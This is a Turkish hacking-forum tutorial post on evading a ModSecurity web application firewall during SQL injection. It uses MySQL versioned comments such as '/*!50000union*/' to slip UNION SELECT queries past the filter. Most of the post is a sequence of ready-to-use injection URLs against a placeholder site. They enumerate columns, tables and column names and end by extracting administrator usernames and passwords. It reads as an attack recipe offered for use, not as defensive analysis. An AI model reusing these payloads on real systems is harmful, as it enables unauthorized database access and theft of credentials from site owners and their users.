SQL İnjection Saldırısında WAF Bypass Yöntemi

'Timurhan

Katılımcı Üye
17 Mar 2016
629
1
SQL İnjection Saldırısında WAF Bypass Yöntemi;
Merhaba arkadaşlar bugün ki konumda sizlere SQL injection saldırılarında pek çok karşımıza çıkan WAF (Web Application Firewall) sorunu çözemediğiniz bir yöntemden bahsedeceğim.
SQL injection waf bypass yöntemlerinden birisi olan "/*!50000*/" yöntemine değineceğiz.
İlk önce SQL injection hatamızı alalım arkadaşlar me ta-Karakter sorgulamamız sayesinde bakalım arkadaşlar ne olucak "'a".. Evet hatamızı aldık arkadaşlar devam ediyoruz.
"Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a' at line 1"
Devam ediyoruz arkadaşlar sırasıyla komutlarımızı uygulayalım.
Kod:
[COLOR="darkred"]"site.com/index.php?id=1342 order by 15"
"site.com/index.php?id=1342 order by 12"
"site.com/index.php?id=1342 order by 10"[/COLOR]
evet arkadaşlar kolon sayımızı bulduk "10" dur. Devam ediyoruz ;
Şimdi ki komutumuz "union select"
Kod:
"site.com/index.php?id=1342 union select 1,2,3,4,5,6,7,8,9,10"
Şimdi arkadaşlar komutu uyguladık fakat karşımıza bir hata geldi.
"Not acceptable !
An appropriate representation of the requested resource could not be found on this server.
This error was generated by Mod_Security WAF (Web Application Firewall)"

Bu hata da arkadaşlar genellikle "union" komutuna bypass işlemi uygulanır yani şöyle ;
"/*!union*/+/*!select*/" şeklinde bypasslana bilir arkadaşlar şimdi komutumuzu uyguluyoruz arkadaşlar ;
Kod:
"site.com/index.php?id=1342 /*!union*/+/*!select*/ 1,2,3,4,5,6,7,8,9,10"
komutuzu çalıştırınca sorun ortadan kalktı demektir ve gerisi her zaman ki gibi devam etmektir.
Peki ya hala güvenlik duvarını aşamadakıysak arkadaşlar ? Şimdi 5 karakterli bir rakam atıyoruz o zaman arkadaşlar ben genellikle 50000 atarım devam edelim;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,3,4,5,6,7,8,9,10"
komutunu çalıştırıyoruz arkadaşlar.. Evet sayfa açıldı ve ekrana değerimiz yansıdı arkadaşlar.
Değerimiz "3" diyebiliriz. Şimdi bir deneme yapalım ve version() çekelim arkadaşlar.
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,version(),4,5,6,7,8,9,10"
komutunu çalıştırıyoruz ve bakıyoruz ki "5.90.30 LOG" versiyonu da gösterdi.
Şimdi tablo adlarımızı çekelim arkadaşlar şöyle ;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema=database()"
komutunu uyguluyoruz ve bakıyoruz ki tablolar gözüküyor.
İstediğimiz tabloyu çekerek işleme devam ediyoruz . Peki hala WAF atlatamadıysak devam ediyorsa napıcaz arkadaşlar ?
Şimdi farklı yerlere değerler atıyacaz arkadaşlar devam edelim ;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000group_concat*/(table_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.tables+where+table_schema=database()"
komutunu uyguluyoruz fakat farklı bir hata aldık arkadaşlar.
"FUNCTION group_concat does not exist. Check the 'Function Name Parsing and Resolution' section in the Reference Manual" yani hatamızda diyorki arkadaşlar ;
group_concat yok diyor ve komutumuz da hata veriyor. Şöyle birşey yapıyoruz o zaman arkadaşlar "group_" kaldıralım öyle bir bypass deniyelim o zaman ;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(table_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.tables+where+table_schema=database()"
Komutunu uyguladığımız zaman arkadaşlar sayfa geliyor fakat görüyoruz ki 1 tane tablo gözüküyor sadece sebebi "group" komutunu kullanmadığımız içindir.
Diğer tablolara ulaşmak için de "limit+n+1" komutunu kullanacağız arkadaşlar.
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(table_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.tables+where+table_schema=database()+limit+1+1"
gibi vs. attırıp diğer tablolara bakabilirsiniz arkadaşlar.
Ben devam ediyorum. Admin tablosundan arkadaşlar ;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(column_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.columns+where+table_schema=database()"
Şimdi komutu uyguladığımız zaman görüyoruz ki ekrana 1 değer geliyor sadece arkadaşlar sebebi şudur tek başına "concat" komutunu kullandık arkadaşlar.
Şimdi diğer değerlere ulaşmak için "limit+n+1" komutunu uyguluyoruz.
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(column_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.columns+where+table_schema=database()+limit+1+1"
şimdi ekranımıza username yansıdı arkadaşlar değerimizi arttırıyoruz ;
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(column_name),4,5,6,7,8,9,10+from+/*!50000information_schema*/.columns+where+table_schema=database()+limit+2+1"
Şimdi de password ekranımıza yansıdı şimdi işlemimiz admin tablosundan verileri çekmek olacaktır.
Kod:
"site.com/index.php?id=1342 /*!50000union*/+/*!50000select*/+1,2,/*!50000concat*/(username,0x3a,password,0x3a),4,5,6,7,8,9,10+from+Admin"
Tamamdır ekranımıza username ve password yansıdı arkadaşlar.
Bu konumda bu kadardır. Selametle kalın arkadaşlar..
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.